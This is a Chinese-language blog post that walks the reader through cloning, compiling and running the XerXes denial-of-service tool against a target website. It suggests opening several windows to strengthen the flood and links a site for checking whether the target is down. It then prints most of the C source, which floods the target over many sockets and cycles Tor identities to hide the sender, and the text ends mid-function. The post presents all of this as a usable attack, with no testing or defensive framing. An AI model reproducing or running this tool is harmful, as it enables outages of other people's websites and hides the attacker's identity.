版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396372
参考视频：https://www.youtube.com/watch?v=rEpSmCWTQcY
1、
cd /tmp
git clone https://github.com/zanyarjamal/xerxes.git
cd xerxes
gcc xerxes.c -o xerxes
./xerxes 目标网站，www开头 端口，一般是80
#如果感觉效果不是很明显，可以多开几个窗口跑一样的内容。
http://www.isitdownrightnow.com/ 检测网站是否down掉了。把要检测网址粘入即可。
示例脚本xerxes.c：
/* XerXes - Most powerful dos tool - #SJ edited bY mR.Thg */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int make_socket(char *host, char *port) {
struct addrinfo hints, *servinfo, *p;
int sock, r;
// fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
exit(0);
}
for(p = servinfo; p != NULL; p = p->ai_next) {
if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
continue;
}
if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
close(sock);
continue;
}
break;
}
if(p == NULL) {
if(servinfo)
freeaddrinfo(servinfo);
fprintf(stderr, "No connection could be made\n");
exit(0);
}
if(servinfo)
freeaddrinfo(servinfo);
fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
return sock;
}
void broke(int s) {
// do nothing
}
#define CONNECTIONS 8
#define THREADS 48
void attack(char *host, char *port, int id) {
int sockets[CONNECTIONS];
int x, g=1, r;
for(x=0; x!= CONNECTIONS; x++)
sockets[x]=0;
signal(SIGPIPE, &broke);
while(1) {
for(x=0; x != CONNECTIONS; x++) {
if(sockets[x] == 0)
sockets[x] = make_socket(host, port);
r=write(sockets[x], "\0", 1);
if(r == -1) {
close(sockets[x]);
sockets[x] = make_socket(host, port);
} else
// fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
fprintf(stderr, "[%i: Packet Sent]\n", id);
}
fprintf(stderr, "[%i: Packet Sent]\n", id);
usleep(300000);
}
}
void cycle_identity() {
int r;
int socket = make_socket("localhost", "9050");
write(socket, "AUTHENTICATE \"\"\n", 16);
while(1) {
r=write(socket, "signal NEWNYM\n\x00", 16);
fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
usleep(300000);
